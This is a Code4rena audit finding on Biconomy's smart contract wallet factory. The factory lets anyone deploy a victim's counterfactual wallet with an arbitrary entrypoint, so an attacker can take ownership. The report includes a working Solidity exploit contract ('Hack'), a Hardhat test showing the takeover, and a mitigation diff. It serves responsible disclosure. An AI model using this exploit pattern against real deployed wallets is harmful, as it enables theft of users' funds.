Attackers can control any smart contract wallet by deploying it

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L166-L176
https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L33
https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L53

Vulnerability details

Impact

Any SCW(smart contract wallet) can be hacked by deploying it (or front-running deployment), the hacker will be able to become the owner and have complete control over it.
All funds in all undeployed SCWs can be stolen.

Proof of Concept

When deploying an SCW through deployCounterFactualWallet or deployWallet, the deployer (msg.sender) can provide any address as its entrypoint.

If an attacker deploys someone else's SCW using a malicious contract as the entrypoint, he will be able to control the SCW completely through that malicious entrypoint (e.g. take the ownership of the SCW).

For example, an attacker (address X) wants to steal an SCW (address scw) which should have been belonged to a victim (address V) after deployment:

1. X calls deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) with parameters: owner = V, _entryPoint = X.

This tx will deploy the SCW(proxy) with owner V and fake entrypoint X.

2. X calls execFromEntryPoint(address dest, uint value, bytes calldata func, Enum.Operation operation, uint256 gasLimit) to the deployed SCW (proxy) with parameters: dest = scw, func = setOwner(X).

This tx will change the owner of the scw from V to X.

Test code for PoC (use a customized attack contract - Hack.sol to perform the attack):

diff --git a/scw-contracts/contracts/smart-contract-wallet/test/Hack.sol b/scw-contracts/contracts/smart-contract-wallet/test/Hack.sol
new file mode 100644
index 0000000..be25fc2
--- /dev/null
+++ b/scw-contracts/contracts/smart-contract-wallet/test/Hack.sol
@@ -0,0 +1,55 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.12;
+
+import "../common/Enum.sol";
+import "@openzeppelin/contracts/access/Ownable.sol";
+
+interface ISmartAccountFactory {
+    function deployCounterFactualWallet(
+        address _owner, address _entryPoint, address _handler, uint _index
+    ) external returns(address proxy);
+
+    function deployWallet(
+        address _owner, address _entryPoint, address _handler
+    ) external returns(address proxy);
+}
+
+interface ISmartAccount {
+    function execFromEntryPoint(
+        address dest, uint value, bytes calldata func, Enum.Operation operation, uint256 gasLimit
+    ) external returns (bool success);
+}
+
+contract Hack is Ownable {
+    ISmartAccountFactory public factory;
+
+    constructor(ISmartAccountFactory _factory) {
+        factory = _factory;
+    }
+
+    function hackCounterFactualWallet(address originOwner, address handler, uint index) external onlyOwner {
+        //! deploy the scw with Hack itself as the entrypoint
+        ISmartAccount wallet = ISmartAccount(
+            factory.deployCounterFactualWallet(originOwner, address(this), handler, index)
+        );
+        //! hack the scw
+        hack(wallet);
+    }
+
+    function hackWallet(address originOwner, address handler) external onlyOwner {
+        //! deploy the scw with Hack itself as the entrypoint
+        ISmartAccount wallet = ISmartAccount(
+            factory.deployWallet(originOwner, address(this), handler)
+        );
+        //! hack the scw
+        hack(wallet);
+    }
+
+    function hack(ISmartAccount wallet) internal {
+        //! steal the ownership of the scw
+        bytes memory func = abi.encodeWithSignature("setOwner(address)", msg.sender);
+        //! The scw is completely under control.
+        //! We can make the scw to call/delegatecall any function of any contract (including the scw itself)
+        wallet.execFromEntryPoint(address(wallet), 0, func, Enum.Operation.Call, gasleft());
+    }
+}
\ No newline at end of file
diff --git a/scw-contracts/test/smart-wallet/testGroup1.ts b/scw-contracts/test/smart-wallet/testGroup1.ts
index cb006f1..7ebc70b 100644
--- a/scw-contracts/test/smart-wallet/testGroup1.ts
+++ b/scw-contracts/test/smart-wallet/testGroup1.ts
@@ -24,6 +24,7 @@ import {
   executeContractCallWithSigners,
 } from "../../src/utils/execution";
 import { buildMultiSendSafeTx } from "../../src/utils/multisend";
+import { MaxUint256 } from "@ethersproject/constants";
 
 describe("Base Wallet Functionality", function () {
   // TODO
@@ -98,6 +99,40 @@ describe("Base Wallet Functionality", function () {
     await token.mint(owner, ethers.utils.parseEther("1000000"));
   });
 
+  it.only("Attack: steal scw by front-running deploying", async function () {
+    const victim = accounts[1];
+    const victimAddr = await victim.getAddress();
+    const victimSCW = await walletFactory.getAddressForCounterfactualWallet(victimAddr, 0);
+
+    const attacker = accounts[2];
+    const attackerAddr = await accounts[2].getAddress();
+
+    //! Prepare the Hack contract
+    const HackFactory = await ethers.getContractFactory("Hack");
+    const hack = await HackFactory.connect(attacker).deploy(walletFactory.address);
+    await hack.deployed();
+
+    //! HACK: front-running deploy the victim's scw and change the owner
+    await expect(
+      hack.connect(attacker).hackCounterFactualWallet(
+        victimAddr,
+        handler.address,
+        0
+      )
+    )
+      .to.emit(walletFactory, "SmartAccountCreated")
+      .withArgs(victimSCW, baseImpl.address, victimAddr, VERSION, 0);
+
+    const scw = await ethers.getContractAt(
+      "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount",
+      victimSCW
+    );
+
+    //! The attacker becomes the owner of the scw
+    expect(await scw.owner()).to.equal(attackerAddr);
+    expect(await scw.owner()).to.not.equal(victimAddr);
+  });
+
   // describe("Wallet initialization", function () {
   it("Should set the correct states on proxy", async function () {
     const expected = await walletFactory.getAddressForCounterfactualWallet(

Tools Used

VS Code

Recommended Mitigation Steps

Use a public EntryPoint contract as the default entrypoint in deployCounterFactualWallet and deployWallet.
A custom entrypoint should be allowed only if msg.sender == owner.

Implementation:

diff --git a/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol b/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol
index be78c75..2d750dd 100644
--- a/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol
+++ b/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol
@@ -6,6 +6,7 @@ import "./BaseSmartAccount.sol";

 contract SmartAccountFactory {
     address immutable public _defaultImpl;
+    address immutable public _defaultEntryPoint;

     // EOA + Version tracking
     string public constant VERSION = "1.0.2";
@@ -14,9 +15,11 @@ contract SmartAccountFactory {
     // review need and impact of this update wallet -> account
     mapping (address => bool) public isAccountExist;

-    constructor(address _baseImpl) {
+    constructor(address _baseImpl, address _entryPoint) {
         require(_baseImpl != address(0), "base wallet address can not be zero");
+        require(_entryPoint != address(0), "default EntryPoint address can not be zero");
         _defaultImpl = _baseImpl;
+        _defaultEntryPoint = _entryPoint;
     }

     // event SmartAccountCreated(address indexed _proxy, address indexed _implementation, address indexed _owner);
@@ -31,6 +34,11 @@ contract SmartAccountFactory {
      * @param _index extra salt that allows to deploy more wallets if needed for same EOA (default 0)
      */
     function deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) public returns(address proxy){
+        if (_entryPoint == address(0x0)) {
+            _entryPoint = _defaultEntryPoint;
+        } else if (_entryPoint != _defaultEntryPoint) {
+            require(msg.sender == _owner, "Only the owner can use a custom EntryPoint");
+        }
         bytes32 salt = keccak256(abi.encodePacked(_owner, address(uint160(_index))));
         bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl)));
         // solhint-disable-next-line no-inline-assembly
@@ -51,6 +59,11 @@ contract SmartAccountFactory {
      * @param _handler fallback handler address
     */
     function deployWallet(address _owner, address _entryPoint, address _handler) public returns(address proxy){
+        if (_entryPoint == address(0x0)) {
+            _entryPoint = _defaultEntryPoint;
+        } else if (_entryPoint != _defaultEntryPoint) {
+            require(msg.sender == _owner, "Only the owner can use a custom EntryPoint");
+        }
         bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl)));
         // solhint-disable-next-line no-inline-assembly
         assembly {

[c4-judge]

gzeon-c4 marked the issue as duplicate of #460

[c4-sponsor]

livingrockrises marked the issue as sponsor confirmed

[c4-judge]

gzeon-c4 marked the issue as satisfactory